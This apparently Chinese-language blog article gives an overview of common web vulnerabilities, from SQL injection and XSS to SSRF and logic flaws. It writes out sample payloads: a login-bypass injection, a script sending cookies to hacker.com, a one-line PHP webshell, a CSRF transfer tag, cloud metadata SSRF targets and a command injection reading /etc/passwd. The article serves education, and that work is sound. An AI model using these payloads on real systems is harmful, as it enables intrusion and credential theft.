当前位置:首页 > 探索

常见web漏洞

```html 常见web漏洞

常见web漏洞

一个登录框,你输了个 ' or 1=1 --,回车,直接进了后台。这不是电影桥段,是十年前某政府网站的真实测试记录。SQL注入排到今天依然是OWASP前十的常客,原因简单:开发者还在用字符串拼接写查询。你永远猜不到用户会往输入框里塞什么,可能是表情符号,也可能是一整段删库命令。

跨站脚本(XSS)更隐蔽。去年我帮朋友看一个电商站,商品评论里有人留了段 <script>fetch('http://hacker.com?c='+document.cookie)</script>。页面一加载,所有访客的登录态就被悄悄发走了。存储型XSS像慢性毒药,不弹窗、不报错,安安静静偷东西。反射型则藏在URL参数里,你点个短链接,cookie就没了。别以为只有老网站中招,现代前端框架用 innerHTML 照样翻车。

文件上传漏洞是另一条捷径。有些站只在前端用JS检查后缀,抓包改个 shell.php.jpg 就绕过去了。更离谱的是,服务器把上传目录设成可执行,你传个 .php 文件,浏览器一访问,直接拿到webshell。我见过一个CMS,上传头像功能没做任何过滤,攻击者传了个 1.php,内容就一行 <?php system($_GET['cmd']); ?>,整台服务器就归别人了。

CSRF(跨站请求伪造)不碰你的密码,它借你的手干活。你登录了网银,然后打开一个恶意页面,里面藏了个 <img src="http://bank.com/transfer?to=attacker&amount=10000">。浏览器带着你的cookie就发了请求,钱没了。防御也简单:加个随机token,或者检查 Referer。但很多老系统就是不做,因为“用户不会那么傻”。

SSRF(服务端请求伪造)这两年越来越热。攻击者让服务器去访问内网地址,比如 http://127.0.0.1:6379,顺手写个Redis计划任务,拿下整个内网。云环境里更危险,元数据接口 http://169.254.169.254/ 能直接拿到临时凭证。一个图片加载功能,参数是URL,没做白名单,就成了内网跳板。

命令注入听起来古老,但IoT设备上遍地都是。摄像头固件里,ping 功能直接拼系统命令,你输 127.0.0.1; cat /etc/passwd,密码文件就回显了。有些路由器连分号都不用,管道符 | 一样好使。这类漏洞修起来快,可厂商懒得推固件,设备一装就是五年。

逻辑漏洞最考验耐心。比如密码重置,验证码是四位数字,没次数限制,爆破就完事了。或者修改密码时,把用户ID从 1001 改成 1002,直接改了别人的密码。这种漏洞扫描器扫不出来,得靠人脑去猜业务流。我见过一个抽奖接口,前端传 count=1,后端不校验,改成 count=100 就抽一百次。

说这些不是吓唬人。每个漏洞背后都是具体代码、具体配置、具体疏忽。修一个少一个,但新框架、新协议又会带出新问题。比如GraphQL的 introspection 没关,整个schema就暴露了;JWT用 none 算法,签名直接跳过。漏洞不会消失,只会换件衣服。你盯着输入框的时候,攻击者可能正盯着你的错误日志。

```

分享到: